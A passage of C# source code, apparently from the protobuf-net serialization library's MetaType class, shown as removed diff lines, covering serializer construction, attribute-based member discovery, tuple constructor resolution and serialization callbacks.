Name - { - get { return name; } - set - { - ThrowIfFrozen(); - name = value; - } - } - - private MethodInfo factory; - - /// - /// Designate a factory-method to use to create instances of this type - /// - public MetaType SetFactory(MethodInfo factory) - { - model.VerifyFactory(factory, type); - ThrowIfFrozen(); - this.factory = factory; - return this; - } - - - /// - /// Designate a factory-method to use to create instances of this type - /// - public MetaType SetFactory(string factory) - { - return SetFactory(ResolveMethod(factory, false)); - } - - private MethodInfo ResolveMethod(string name, bool instance) - { - if (Helpers.IsNullOrEmpty(name)) return null; -#if WINRT - return instance ? Helpers.GetInstanceMethod(typeInfo, name) : Helpers.GetStaticMethod(typeInfo, name); -#else - return instance ? Helpers.GetInstanceMethod(type, name) : Helpers.GetStaticMethod(type, name); -#endif - } - - private readonly RuntimeTypeModel model; - - internal static Exception InbuiltType(Type type) - { - return - new ArgumentException( - "Data of this type has inbuilt behaviour, and cannot be added to a model in this way: " + - type.FullName); - } - - internal MetaType(RuntimeTypeModel model, Type type, MethodInfo factory) - { - this.factory = factory; - if (model == null) throw new ArgumentNullException("model"); - if (type == null) throw new ArgumentNullException("type"); - - IProtoSerializer coreSerializer = model.TryGetBasicTypeSerializer(type); - if (coreSerializer != null) - { - throw InbuiltType(type); - } - - this.type = type; -#if WINRT - this.typeInfo = type.GetTypeInfo(); -#endif - this.model = model; - - if (Helpers.IsEnum(type)) - { -#if WINRT - EnumPassthru = typeInfo.IsDefined(typeof(FlagsAttribute), false); -#else - EnumPassthru = type.IsDefined(model.MapType(typeof (FlagsAttribute)), false); -#endif - } - } - -#if WINRT - private readonly TypeInfo typeInfo; -#endif - - /// - /// Throws an exception if the type has been made immutable - /// - protected internal void ThrowIfFrozen() - { - if ((flags & OPTIONS_Frozen) != 0) - throw new InvalidOperationException( - "The type cannot be changed once a serializer has been generated for " + type.FullName); - } - - //internal void Freeze() { flags |= OPTIONS_Frozen; } - - private readonly Type type; - - /// - /// The runtime type that the meta-type represents - /// - public Type Type - { - get { return type; } - } - - private IProtoTypeSerializer serializer; - - internal IProtoTypeSerializer Serializer - { - get - { - if (serializer == null) - { - int opaqueToken = 0; - try - { - model.TakeLock(ref opaqueToken); - if (serializer == null) - { - // double-check, but our main purpse with this lock is to ensure thread-safety with - // serializers needing to wait until another thread has finished adding the properties - SetFlag(OPTIONS_Frozen, true, false); - serializer = BuildSerializer(); -#if FEAT_COMPILER && !FX11 - if (model.AutoCompile) CompileInPlace(); -#endif - } - } - finally - { - model.ReleaseLock(opaqueToken); - } - } - return serializer; - } - } - - internal bool IsList - { - get - { - Type itemType = IgnoreListHandling ? null : TypeModel.GetListItemType(model, type); - return itemType != null; - } - } - - private IProtoTypeSerializer BuildSerializer() - { - if (Helpers.IsEnum(type)) - { - return new TagDecorator(ProtoBuf.Serializer.ListItemTag, WireType.Variant, false, - new EnumSerializer(type, GetEnumMap())); - } - Type itemType = IgnoreListHandling ? null : TypeModel.GetListItemType(model, type); - if (itemType != null) - { - if (surrogate != null) - { - throw new ArgumentException( - "Repeated data (a list, collection, etc) has inbuilt behaviour and cannot use a surrogate"); - } - if (subTypes != null && subTypes.Count != 0) - { - throw new ArgumentException( - "Repeated data (a list, collection, etc) has inbuilt behaviour and cannot be subclassed"); - } - Type defaultType = null; - ResolveListTypes(model, type, ref itemType, ref defaultType); - ValueMember fakeMember = new ValueMember(model, ProtoBuf.Serializer.ListItemTag, type, itemType, - defaultType, DataFormat.Default); - return new TypeSerializer(model, type, new int[] {ProtoBuf.Serializer.ListItemTag}, - new IProtoSerializer[] {fakeMember.Serializer}, null, true, true, null, constructType, factory); - } - if (surrogate != null) - { - MetaType mt = model[surrogate], mtBase; - while ((mtBase = mt.baseType) != null) - { - mt = mtBase; - } - return new SurrogateSerializer(model, type, surrogate, mt.Serializer); - } - if (IsAutoTuple) - { - MemberInfo[] mapping; - ConstructorInfo ctor = ResolveTupleConstructor(type, out mapping); - if (ctor == null) throw new InvalidOperationException(); - return new TupleSerializer(model, ctor, mapping); - } - - - fields.Trim(); - int fieldCount = fields.Count; - int subTypeCount = subTypes == null ? 0 : subTypes.Count; - int[] fieldNumbers = new int[fieldCount + subTypeCount]; - IProtoSerializer[] serializers = new IProtoSerializer[fieldCount + subTypeCount]; - int i = 0; - if (subTypeCount != 0) - { - foreach (SubType subType in subTypes) - { -#if WINRT - if (!subType.DerivedType.IgnoreListHandling && ienumerable.IsAssignableFrom(subType.DerivedType.Type.GetTypeInfo())) -#else - if (!subType.DerivedType.IgnoreListHandling && - model.MapType(ienumerable).IsAssignableFrom(subType.DerivedType.Type)) -#endif - { - throw new ArgumentException( - "Repeated data (a list, collection, etc) has inbuilt behaviour and cannot be used as a subclass"); - } - fieldNumbers[i] = subType.FieldNumber; - serializers[i++] = subType.Serializer; - } - } - if (fieldCount != 0) - { - foreach (ValueMember member in fields) - { - fieldNumbers[i] = member.FieldNumber; - serializers[i++] = member.Serializer; - } - } - - BasicList baseCtorCallbacks = null; - MetaType tmp = BaseType; - - while (tmp != null) - { - MethodInfo method = tmp.HasCallbacks ? tmp.Callbacks.BeforeDeserialize : null; - if (method != null) - { - if (baseCtorCallbacks == null) baseCtorCallbacks = new BasicList(); - baseCtorCallbacks.Add(method); - } - tmp = tmp.BaseType; - } - MethodInfo[] arr = null; - if (baseCtorCallbacks != null) - { - arr = new MethodInfo[baseCtorCallbacks.Count]; - baseCtorCallbacks.CopyTo(arr, 0); - Array.Reverse(arr); - } - return new TypeSerializer(model, type, fieldNumbers, serializers, arr, baseType == null, UseConstructor, - callbacks, constructType, factory); - } - - [Flags] - internal enum AttributeFamily - { - None = 0, - ProtoBuf = 1, - DataContractSerialier = 2, - XmlSerializer = 4, - AutoTuple = 8 - } - - private static Type GetBaseType(MetaType type) - { -#if WINRT - return type.typeInfo.BaseType; -#else - return type.type.BaseType; -#endif - } - - internal static bool GetAsReferenceDefault(RuntimeTypeModel model, Type type) - { - if (type == null) throw new ArgumentNullException("type"); - if (Helpers.IsEnum(type)) return false; // never as-ref - AttributeMap[] typeAttribs = AttributeMap.Create(model, type, false); - for (int i = 0; i < typeAttribs.Length; i++) - { - if (typeAttribs[i].AttributeType.FullName == "ProtoBuf.ProtoContractAttribute") - { - object tmp; - if (typeAttribs[i].TryGet("AsReferenceDefault", out tmp)) return (bool) tmp; - } - } - return false; - } - - internal void ApplyDefaultBehaviour() - { - Type baseType = GetBaseType(this); - if (baseType != null && model.FindWithoutAdd(baseType) == null - && GetContractFamily(model, baseType, null) != MetaType.AttributeFamily.None) - { - model.FindOrAddAuto(baseType, true, false, false); - } - - AttributeMap[] typeAttribs = AttributeMap.Create(model, type, false); - AttributeFamily family = GetContractFamily(model, type, typeAttribs); - if (family == AttributeFamily.AutoTuple) - { - SetFlag(OPTIONS_AutoTuple, true, true); - } - bool isEnum = !EnumPassthru && Helpers.IsEnum(type); - if (family == AttributeFamily.None && !isEnum) return; // and you'd like me to do what, exactly? - BasicList partialIgnores = null, partialMembers = null; - int dataMemberOffset = 0, implicitFirstTag = 1; - bool inferTagByName = model.InferTagFromNameDefault; - ImplicitFields implicitMode = ImplicitFields.None; - string name = null; - for (int i = 0; i < typeAttribs.Length; i++) - { - AttributeMap item = (AttributeMap) typeAttribs[i]; - object tmp; - string fullAttributeTypeName = item.AttributeType.FullName; - if (!isEnum && fullAttributeTypeName == "ProtoBuf.ProtoIncludeAttribute") - { - int tag = 0; - if (item.TryGet("tag", out tmp)) tag = (int) tmp; - DataFormat dataFormat = DataFormat.Default; - if (item.TryGet("DataFormat", out tmp)) - { - dataFormat = (DataFormat) (int) tmp; - } - Type knownType = null; - try - { - if (item.TryGet("knownTypeName", out tmp)) - knownType = model.GetType((string) tmp, type -#if WINRT - .GetTypeInfo() -#endif - .Assembly); - else if (item.TryGet("knownType", out tmp)) knownType = (Type) tmp; - } - catch (Exception ex) - { - throw new InvalidOperationException("Unable to resolve sub-type of: " + type.FullName, ex); - } - if (knownType == null) - { - throw new InvalidOperationException("Unable to resolve sub-type of: " + type.FullName); - } - if (IsValidSubType(knownType)) AddSubType(tag, knownType, dataFormat); - } - - if (fullAttributeTypeName == "ProtoBuf.ProtoPartialIgnoreAttribute") - { - if (item.TryGet("MemberName", out tmp) && tmp != null) - { - if (partialIgnores == null) partialIgnores = new BasicList(); - partialIgnores.Add((string) tmp); - } - } - if (!isEnum && fullAttributeTypeName == "ProtoBuf.ProtoPartialMemberAttribute") - { - if (partialMembers == null) partialMembers = new BasicList(); - partialMembers.Add(item); - } - - if (fullAttributeTypeName == "ProtoBuf.ProtoContractAttribute") - { - if (item.TryGet("Name", out tmp)) name = (string) tmp; - if (Helpers.IsEnum(type)) - // note this is subtly different to isEnum; want to do this even if [Flags] - { -#if !FEAT_IKVM - // IKVM can't access EnumPassthruHasValue, but conveniently, InferTagFromName will only be returned if set via ctor or property - if (item.TryGet("EnumPassthruHasValue", false, out tmp) && (bool) tmp) -#endif - { - if (item.TryGet("EnumPassthru", out tmp)) - { - EnumPassthru = (bool) tmp; - if (EnumPassthru) isEnum = false; // no longer treated as an enum - } - } - } - else - { - if (item.TryGet("DataMemberOffset", out tmp)) dataMemberOffset = (int) tmp; - -#if !FEAT_IKVM - // IKVM can't access InferTagFromNameHasValue, but conveniently, InferTagFromName will only be returned if set via ctor or property - if (item.TryGet("InferTagFromNameHasValue", false, out tmp) && (bool) tmp) -#endif - { - if (item.TryGet("InferTagFromName", out tmp)) inferTagByName = (bool) tmp; - } - - if (item.TryGet("ImplicitFields", out tmp) && tmp != null) - { - implicitMode = (ImplicitFields) (int) tmp; - // note that this uses the bizarre unboxing rules of enums/underlying-types - } - - if (item.TryGet("SkipConstructor", out tmp)) UseConstructor = !(bool) tmp; - if (item.TryGet("IgnoreListHandling", out tmp)) IgnoreListHandling = (bool) tmp; - if (item.TryGet("AsReferenceDefault", out tmp)) AsReferenceDefault = (bool) tmp; - if (item.TryGet("ImplicitFirstTag", out tmp) && (int) tmp > 0) implicitFirstTag = (int) tmp; - } - } - - if (fullAttributeTypeName == "System.Runtime.Serialization.DataContractAttribute") - { - if (name == null && item.TryGet("Name", out tmp)) name = (string) tmp; - } - if (fullAttributeTypeName == "System.Xml.Serialization.XmlTypeAttribute") - { - if (name == null && item.TryGet("TypeName", out tmp)) name = (string) tmp; - } - } - if (!Helpers.IsNullOrEmpty(name)) Name = name; - if (implicitMode != ImplicitFields.None) - { - family &= AttributeFamily.ProtoBuf; // with implicit fields, **only** proto attributes are important - } - MethodInfo[] callbacks = null; - - BasicList members = new BasicList(); - -#if WINRT - System.Collections.Generic.IEnumerable foundList; - if(isEnum) { - foundList = type.GetRuntimeFields(); - } - else - { - System.Collections.Generic.List list = new System.Collections.Generic.List(); - foreach(PropertyInfo prop in type.GetRuntimeProperties()) { - MethodInfo getter = Helpers.GetGetMethod(prop, false, false); - if(getter != null && !getter.IsStatic) list.Add(prop); - } - foreach(FieldInfo fld in type.GetRuntimeFields()) if(fld.IsPublic && !fld.IsStatic) list.Add(fld); - foreach(MethodInfo mthd in type.GetRuntimeMethods()) if(mthd.IsPublic && !mthd.IsStatic) list.Add(mthd); - foundList = list; - } -#else - MemberInfo[] foundList = type.GetMembers(isEnum - ? BindingFlags.Public | BindingFlags.Static - : BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance); -#endif - foreach (MemberInfo member in foundList) - { - if (member.DeclaringType != type) continue; - if (member.IsDefined(model.MapType(typeof (ProtoIgnoreAttribute)), true)) continue; - if (partialIgnores != null && partialIgnores.Contains(member.Name)) continue; - - bool forced = false, isPublic, isField; - Type effectiveType; - - - PropertyInfo property; - FieldInfo field; - MethodInfo method; - if ((property = member as PropertyInfo) != null) - { - if (isEnum) continue; // wasn't expecting any props! - - effectiveType = property.PropertyType; - isPublic = Helpers.GetGetMethod(property, false, false) != null; - isField = false; - ApplyDefaultBehaviour_AddMembers(model, family, isEnum, partialMembers, dataMemberOffset, - inferTagByName, implicitMode, members, member, ref forced, isPublic, isField, ref effectiveType); - } - else if ((field = member as FieldInfo) != null) - { - effectiveType = field.FieldType; - isPublic = field.IsPublic; - isField = true; - if (isEnum && !field.IsStatic) - { - // only care about static things on enums; WinRT has a __value instance field! - continue; - } - ApplyDefaultBehaviour_AddMembers(model, family, isEnum, partialMembers, dataMemberOffset, - inferTagByName, implicitMode, members, member, ref forced, isPublic, isField, ref effectiveType); - } - else if ((method = member as MethodInfo) != null) - { - if (isEnum) continue; - AttributeMap[] memberAttribs = AttributeMap.Create(model, method, false); - if (memberAttribs != null && memberAttribs.Length > 0) - { - CheckForCallback(method, memberAttribs, "ProtoBuf.ProtoBeforeSerializationAttribute", - ref callbacks, 0); - CheckForCallback(method, memberAttribs, "ProtoBuf.ProtoAfterSerializationAttribute", - ref callbacks, 1); - CheckForCallback(method, memberAttribs, "ProtoBuf.ProtoBeforeDeserializationAttribute", - ref callbacks, 2); - CheckForCallback(method, memberAttribs, "ProtoBuf.ProtoAfterDeserializationAttribute", - ref callbacks, 3); - CheckForCallback(method, memberAttribs, "System.Runtime.Serialization.OnSerializingAttribute", - ref callbacks, 4); - CheckForCallback(method, memberAttribs, "System.Runtime.Serialization.OnSerializedAttribute", - ref callbacks, 5); - CheckForCallback(method, memberAttribs, "System.Runtime.Serialization.OnDeserializingAttribute", - ref callbacks, 6); - CheckForCallback(method, memberAttribs, "System.Runtime.Serialization.OnDeserializedAttribute", - ref callbacks, 7); - } - } - } - ProtoMemberAttribute[] arr = new ProtoMemberAttribute[members.Count]; - members.CopyTo(arr, 0); - - if (inferTagByName || implicitMode != ImplicitFields.None) - { - Array.Sort(arr); - int nextTag = implicitFirstTag; - foreach (ProtoMemberAttribute normalizedAttribute in arr) - { - if (!normalizedAttribute.TagIsPinned) // if ProtoMember etc sets a tag, we'll trust it - { - normalizedAttribute.Rebase(nextTag++); - } - } - } - - foreach (ProtoMemberAttribute normalizedAttribute in arr) - { - ValueMember vm = ApplyDefaultBehaviour(isEnum, normalizedAttribute); - if (vm != null) - { - Add(vm); - } - } - - if (callbacks != null) - { - SetCallbacks(Coalesce(callbacks, 0, 4), Coalesce(callbacks, 1, 5), - Coalesce(callbacks, 2, 6), Coalesce(callbacks, 3, 7)); - } - } - - private static void ApplyDefaultBehaviour_AddMembers(TypeModel model, AttributeFamily family, bool isEnum, - BasicList partialMembers, int dataMemberOffset, bool inferTagByName, ImplicitFields implicitMode, - BasicList members, MemberInfo member, ref bool forced, bool isPublic, bool isField, ref Type effectiveType) - { - switch (implicitMode) - { - case ImplicitFields.AllFields: - if (isField) forced = true; - break; - case ImplicitFields.AllPublic: - if (isPublic) forced = true; - break; - } - - // we just don't like delegate types ;p -#if WINRT - if (effectiveType.GetTypeInfo().IsSubclassOf(typeof(Delegate))) effectiveType = null; -#else - if (effectiveType.IsSubclassOf(model.MapType(typeof (Delegate)))) effectiveType = null; -#endif - if (effectiveType != null) - { - ProtoMemberAttribute normalizedAttribute = NormalizeProtoMember(model, member, family, forced, isEnum, - partialMembers, dataMemberOffset, inferTagByName); - if (normalizedAttribute != null) members.Add(normalizedAttribute); - } - } - - - private static MethodInfo Coalesce(MethodInfo[] arr, int x, int y) - { - MethodInfo mi = arr[x]; - if (mi == null) mi = arr[y]; - return mi; - } - - internal static AttributeFamily GetContractFamily(RuntimeTypeModel model, Type type, AttributeMap[] attributes) - { - AttributeFamily family = AttributeFamily.None; - - if (attributes == null) attributes = AttributeMap.Create(model, type, false); - - for (int i = 0; i < attributes.Length; i++) - { - switch (attributes[i].AttributeType.FullName) - { - case "ProtoBuf.ProtoContractAttribute": - bool tmp = false; - GetFieldBoolean(ref tmp, attributes[i], "UseProtoMembersOnly"); - if (tmp) return AttributeFamily.ProtoBuf; - family |= AttributeFamily.ProtoBuf; - break; - case "System.Xml.Serialization.XmlTypeAttribute": - if (!model.AutoAddProtoContractTypesOnly) - { - family |= AttributeFamily.XmlSerializer; - } - break; - case "System.Runtime.Serialization.DataContractAttribute": - if (!model.AutoAddProtoContractTypesOnly) - { - family |= AttributeFamily.DataContractSerialier; - } - break; - } - } - if (family == AttributeFamily.None) - { - // check for obvious tuples - MemberInfo[] mapping; - if (ResolveTupleConstructor(type, out mapping) != null) - { - family |= AttributeFamily.AutoTuple; - } - } - return family; - } - - internal static ConstructorInfo ResolveTupleConstructor(Type type, out MemberInfo[] mappedMembers) - { - mappedMembers = null; - if (type == null) throw new ArgumentNullException("type"); -#if WINRT - TypeInfo typeInfo = type.GetTypeInfo(); - if (typeInfo.IsAbstract) return null; // as if! - ConstructorInfo[] ctors = Helpers.GetConstructors(typeInfo, false); -#else - if (type.IsAbstract) return null; // as if! - ConstructorInfo[] ctors = Helpers.GetConstructors(type, false); -#endif - // need to have an interesting constructor to bother even checking this stuff - if (ctors.Length == 0 || (ctors.Length == 1 && ctors[0].GetParameters().Length == 0)) return null; - - MemberInfo[] fieldsPropsUnfiltered = Helpers.GetInstanceFieldsAndProperties(type, true); - BasicList memberList = new BasicList(); - for (int i = 0; i < fieldsPropsUnfiltered.Length; i++) - { - PropertyInfo prop = fieldsPropsUnfiltered[i] as PropertyInfo; - if (prop != null) - { - if (!prop.CanRead) return null; // no use if can't read - if (prop.CanWrite && Helpers.GetSetMethod(prop, false, false) != null) - return null; - // don't allow a public set (need to allow non-public to handle Mono's KeyValuePair<,>) - memberList.Add(prop); - } - else - { - FieldInfo field = fieldsPropsUnfiltered[i] as FieldInfo; - if (field != null) - { - if (!field.IsInitOnly) return null; // all public fields must be readonly to be counted a tuple - memberList.Add(field); - } - } - } - if (memberList.Count == 0) - { - return null; - } - - MemberInfo[] members = new MemberInfo[memberList.Count]; - memberList.CopyTo(members, 0); - - int[] mapping = new int[members.Length]; - int found = 0; - ConstructorInfo result = null; - mappedMembers = new MemberInfo[mapping.Length]; - for (int i = 0; i < ctors.Length; i++) - { - ParameterInfo[] parameters = ctors[i].GetParameters(); - - if (parameters.Length != members.Length) continue; - - // reset the mappings to test - for (int j = 0; j < mapping.Length; j++) mapping[j] = -1; - - for (int j = 0; j < parameters.Length; j++) - { - string lower = parameters[j].Name.ToLower(); - for (int k = 0; k < members.Length; k++) - { - if (members[k].Name.ToLower() != lower) continue; - Type memberType = Helpers.GetMemberType(members[k]); - if (memberType != parameters[j].ParameterType) continue; - - mapping[j] = k; - } - } - // did we map all? - bool notMapped = false; - for (int j = 0; j < mapping.Length; j++) - { - if (mapping[j] < 0) - { - notMapped = true; - break; - } - mappedMembers[j] = members[mapping[j]]; - } - - if (notMapped) continue; - found++; - result = ctors[i]; - } - return found == 1 ? result : null; - } - - private static void CheckForCallback(MethodInfo method, AttributeMap[] attributes, string callbackTypeName, - ref MethodInfo[] callbacks, int index) - { - for (int i = 0; i < attributes.Length; i++) - { - if (attributes[i].AttributeType.FullName == callbackTypeName) - { - if (callbacks == null) - { - callbacks = new MethodInfo[8]; - } - else if (callbacks[index] != null) - { -#if WINRT || FEAT_IKVM - Type reflected = method.DeclaringType; -#else - Type reflected = method.ReflectedType; -#endif - throw new ProtoException("Duplicate " + callbackTypeName + " callbacks on " + reflected.FullName); - } - callbacks[index] = method; - } - } - } - - private static bool HasFamily(AttributeFamily value, AttributeFamily required) - { - return (value & required) == required; - } - - private static ProtoMemberAttribute NormalizeProtoMember(TypeModel model, MemberInfo member, - AttributeFamily family, bool forced, bool isEnum, BasicList partialMembers, int dataMemberOffset, - bool inferByTagName) - { - if (member == null || (family == AttributeFamily.None && !isEnum)) return null; // nix - int fieldNumber = int.MinValue, minAcceptFieldNumber = inferByTagName ? -1 : 1; - string name = null; - bool isPacked = false, - ignore = false, - done = false, - isRequired = false, - asReference = false, - asReferenceHasValue = false, - dynamicType = false, - tagIsPinned = false, - overwriteList = false; - DataFormat dataFormat = DataFormat.Default; - if (isEnum) forced = true; - AttributeMap[] attribs = AttributeMap.Create(model, member, true); - AttributeMap attrib; - - if (isEnum) - { - attrib = GetAttribute(attribs, "ProtoBuf.ProtoIgnoreAttribute"); - if (attrib != null) - { - ignore = true; - } - else - { - attrib = GetAttribute(attribs, "ProtoBuf.ProtoEnumAttribute"); -#if WINRT || PORTABLE || CF || FX11 - fieldNumber = Convert.ToInt32(((FieldInfo)member).GetValue(null)); -#else - fieldNumber = Convert.ToInt32(((FieldInfo) member).GetRawConstantValue()); -#endif - if (attrib != null) - { - GetFieldName(ref name, attrib, "Name"); -#if !FEAT_IKVM // IKVM can't access HasValue, but conveniently, Value will only be returned if set via ctor or property - if ((bool) Helpers.GetInstanceMethod(attrib.AttributeType -#if WINRT - .GetTypeInfo() -#endif - , "HasValue").Invoke(attrib.Target, null)) -#endif - { - object tmp; - if (attrib.TryGet("Value", out tmp)) fieldNumber = (int) tmp; - } - } - } - done = true; - } - - if (!ignore && !done) // always consider ProtoMember - { - attrib = GetAttribute(attribs, "ProtoBuf.ProtoMemberAttribute"); - GetIgnore(ref ignore, attrib, attribs, "ProtoBuf.ProtoIgnoreAttribute"); - - if (!ignore && attrib != null) - { - GetFieldNumber(ref fieldNumber, attrib, "Tag"); - GetFieldName(ref name, attrib, "Name"); - GetFieldBoolean(ref isRequired, attrib, "IsRequired"); - GetFieldBoolean(ref isPacked, attrib, "IsPacked"); - GetFieldBoolean(ref overwriteList, attrib, "OverwriteList"); - GetDataFormat(ref dataFormat, attrib, "DataFormat"); - -#if !FEAT_IKVM - // IKVM can't access AsReferenceHasValue, but conveniently, AsReference will only be returned if set via ctor or property - GetFieldBoolean(ref asReferenceHasValue, attrib, "AsReferenceHasValue", false); - if (asReferenceHasValue) -#endif - { - asReferenceHasValue = GetFieldBoolean(ref asReference, attrib, "AsReference", true); - } - GetFieldBoolean(ref dynamicType, attrib, "DynamicType"); - done = tagIsPinned = fieldNumber > 0; // note minAcceptFieldNumber only applies to non-proto - } - - if (!done && partialMembers != null) - { - foreach (AttributeMap ppma in partialMembers) - { - object tmp; - if (ppma.TryGet("MemberName", out tmp) && (string) tmp == member.Name) - { - GetFieldNumber(ref fieldNumber, ppma, "Tag"); - GetFieldName(ref name, ppma, "Name"); - GetFieldBoolean(ref isRequired, ppma, "IsRequired"); - GetFieldBoolean(ref isPacked, ppma, "IsPacked"); - GetFieldBoolean(ref overwriteList, attrib, "OverwriteList"); - GetDataFormat(ref dataFormat, ppma, "DataFormat"); - -#if !FEAT_IKVM - // IKVM can't access AsReferenceHasValue, but conveniently, AsReference will only be returned if set via ctor or property - GetFieldBoolean(ref asReferenceHasValue, attrib, "AsReferenceHasValue", false); - if (asReferenceHasValue) -#endif - { - asReferenceHasValue = GetFieldBoolean(ref asReference, ppma, "AsReference", true); - } - GetFieldBoolean(ref dynamicType, ppma, "DynamicType"); - if (done = tagIsPinned = fieldNumber > 0) - break; // note minAcceptFieldNumber only applies to non-proto - } - } - } - } - - if (!ignore && !done && HasFamily(family, AttributeFamily.DataContractSerialier)) - { - attrib = GetAttribute(attribs, "System.Runtime.Serialization.DataMemberAttribute"); - if (attrib != null) - { - GetFieldNumber(ref fieldNumber, attrib, "Order"); - GetFieldName(ref name, attrib, "Name"); - GetFieldBoolean(ref isRequired, attrib, "IsRequired"); - done = fieldNumber >= minAcceptFieldNumber; - if (done) - fieldNumber += dataMemberOffset; - // dataMemberOffset only applies to DCS flags, to allow us to "bump" WCF by a notch - } - } - if (!ignore && !done && HasFamily(family, AttributeFamily.XmlSerializer)) - { - attrib = GetAttribute(attribs, "System.Xml.Serialization.XmlElementAttribute"); - if (attrib == null) attrib = GetAttribute(attribs, "System.Xml.Serialization.XmlArrayAttribute"); - GetIgnore(ref ignore, attrib, attribs, "System.Xml.Serialization.XmlIgnoreAttribute"); - if (attrib != null && !ignore) - { - GetFieldNumber(ref fieldNumber, attrib, "Order"); - GetFieldName(ref name, attrib, "ElementName"); - done = fieldNumber >= minAcceptFieldNumber; - } - } - if (!ignore && !done) - { - if (GetAttribute(attribs, "System.NonSerializedAttribute") != null) ignore = true; - } - if (ignore || (fieldNumber < minAcceptFieldNumber && !forced)) return null; - ProtoMemberAttribute result = new ProtoMemberAttribute(fieldNumber, forced || inferByTagName); - result.AsReference = asReference; - result.AsReferenceHasValue = asReferenceHasValue; - result.DataFormat = dataFormat; - result.DynamicType = dynamicType; - result.IsPacked = isPacked; - result.OverwriteList = overwriteList; - result.IsRequired = isRequired; - result.Name = Helpers.IsNullOrEmpty(name) ? member.Name : name; - result.Member = member; - result.TagIsPinned = tagIsPinned; - return result; - } - - private ValueMember ApplyDefaultBehaviour(bool isEnum, ProtoMemberAttribute normalizedAttribute) - { - MemberInfo member; - if (normalizedAttribute == null || (member = normalizedAttribute.Member) == null) return null; // nix - - Type effectiveType = Helpers.GetMemberType(member); - - - Type itemType = null; - Type defaultType = null; - - // check for list types - ResolveListTypes(model, effectiveType, ref itemType, ref defaultType); - // but take it back if it is explicitly excluded - if (itemType != null) - { - // looks like a list, but double check for IgnoreListHandling - int idx = model.FindOrAddAuto(effectiveType, false, true, false); - if (idx >= 0 && model[effectiveType].IgnoreListHandling) - { - itemType = null; - defaultType = null; - } - } - AttributeMap[] attribs = AttributeMap.Create(model, member, true); - AttributeMap attrib; - - object defaultValue = null; - // implicit zero default - if (model.UseImplicitZeroDefaults) - { - switch (Helpers.GetTypeCode(effectiveType)) - { - case ProtoTypeCode.Boolean: - defaultValue = false; - break; - case ProtoTypeCode.Decimal: - defaultValue = (decimal) 0; - break; - case ProtoTypeCode.Single: - defaultValue = (float) 0; - break; - case ProtoTypeCode.Double: - defaultValue = (double) 0; - break; - case ProtoTypeCode.Byte: - defaultValue = (byte) 0; - break; - case ProtoTypeCode.Char: - defaultValue = (char) 0; - break; - case ProtoTypeCode.Int16: - defaultValue = (short) 0; - break; - case ProtoTypeCode.Int32: - defaultValue = (int) 0; - break; - case ProtoTypeCode.Int64: - defaultValue = (long) 0; - break; - case ProtoTypeCode.SByte: - defaultValue = (sbyte) 0; - break; - case ProtoTypeCode.UInt16: - defaultValue = (ushort) 0; - break; - case ProtoTypeCode.UInt32: - defaultValue = (uint) 0; - break; - case ProtoTypeCode.UInt64: - defaultValue = (ulong) 0; - break; - case ProtoTypeCode.TimeSpan: - defaultValue = TimeSpan.Zero; - break; - case ProtoTypeCode.Guid: - defaultValue = Guid.Empty; - break; - } - } - if ((attrib = GetAttribute(attribs, "System.ComponentModel.DefaultValueAttribute")) != null) - { - object tmp; - if (attrib.TryGet("Value", out tmp)) defaultValue = tmp; - } - ValueMember vm = ((isEnum || normalizedAttribute.Tag > 0)) - ? new ValueMember(model, type, normalizedAttribute.Tag, member, effectiveType, itemType, defaultType, - normalizedAttribute.DataFormat, defaultValue) - : null; - if (vm != null) - { -#if WINRT - TypeInfo finalType = typeInfo; -#else - Type finalType = type; -#endif - PropertyInfo prop = Helpers.GetProperty(finalType, member.Name + "Specified", true); - MethodInfo getMethod = Helpers.GetGetMethod(prop, true, true); - if (getMethod == null || getMethod.IsStatic) prop = null; - if (prop != null) - { - vm.SetSpecified(getMethod, Helpers.GetSetMethod(prop, true, true)); - } - else - { - MethodInfo method = Helpers.GetInstanceMethod(finalType, "ShouldSerialize" + member.Name, - Helpers.EmptyTypes); - if (method != null && method.ReturnType == model.MapType(typeof (bool))) - { - vm.SetSpecified(method, null); - } - } - if (!Helpers.IsNullOrEmpty(normalizedAttribute.Name)) vm.SetName(normalizedAttribute.Name); - vm.IsPacked = normalizedAttribute.IsPacked; - vm.IsRequired = normalizedAttribute.IsRequired; - vm.OverwriteList = normalizedAttribute.OverwriteList; - if (normalizedAttribute.AsReferenceHasValue) - { - vm.AsReference = normalizedAttribute.AsReference; - } - vm.DynamicType = normalizedAttribute.DynamicType; - } - return vm; - } - - private static void GetDataFormat(ref DataFormat value, AttributeMap attrib, string memberName) - { - if ((attrib == null) || (value != DataFormat.Default)) return; - object obj; - if (attrib.TryGet(memberName, out obj) && obj != null) value = (DataFormat) obj; - } - - private static void GetIgnore(ref bool ignore, AttributeMap attrib, AttributeMap[] attribs, string fullName) - { - if (ignore || attrib == null) return; - ignore = GetAttribute(attribs, fullName) != null; - return; - } - - private static void GetFieldBoolean(ref bool value, AttributeMap attrib, string memberName) - { - GetFieldBoolean(ref value, attrib, memberName, true); - } - - private static bool GetFieldBoolean(ref bool value, AttributeMap attrib, string memberName, bool publicOnly) - { - if (attrib == null) return false; - if (value) return true; - object obj; - if (attrib.TryGet(memberName, publicOnly, out obj) && obj != null) - { - value = (bool) obj; - return true; - } - return false; - } - - private static void GetFieldNumber(ref int value, AttributeMap attrib, string memberName) - { - if (attrib == null || value > 0) return; - object obj; - if (attrib.TryGet(memberName, out obj) && obj != null) value = (int) obj; - } - - private static void GetFieldName(ref string name, AttributeMap attrib, string memberName) - { - if (attrib == null || !Helpers.IsNullOrEmpty(name)) return; - object obj; - if (attrib.TryGet(memberName, out obj) && obj != null) name = (string) obj; - } - - private static AttributeMap GetAttribute(AttributeMap[] attribs, string fullName) - { - for (int i = 0; i < attribs.Length; i++) - { - AttributeMap attrib = attribs[i]; - if (attrib != null && attrib.AttributeType.FullName == fullName) return attrib; - } - return null; - } - - /// - /// Adds a member (by name) to the MetaType - /// - public MetaType Add(int fieldNumber, string memberName) - { - AddField(fieldNumber, memberName, null, null, null); - return this; - } - - /// - /// Adds a member (by name) to the MetaType, returning the ValueMember rather than the fluent API. - /// This is otherwise identical to Add. - /// - public ValueMember AddField(int fieldNumber, string memberName) - { - return AddField(fieldNumber, memberName, null, null, null); - } - - /// - /// Gets or sets whether the type should use a parameterless constructor (the default), - /// or whether the type should skip the constructor completely. This option is not supported - /// on compact-framework. - /// - public bool UseConstructor - { - // negated to have defaults as flat zero - get { return !HasFlag(OPTIONS_SkipConstructor); } - set { SetFlag(OPTIONS_SkipConstructor, !value, true); } - } - - /// - /// The concrete type to create when a new instance of this type is needed; this may be useful when 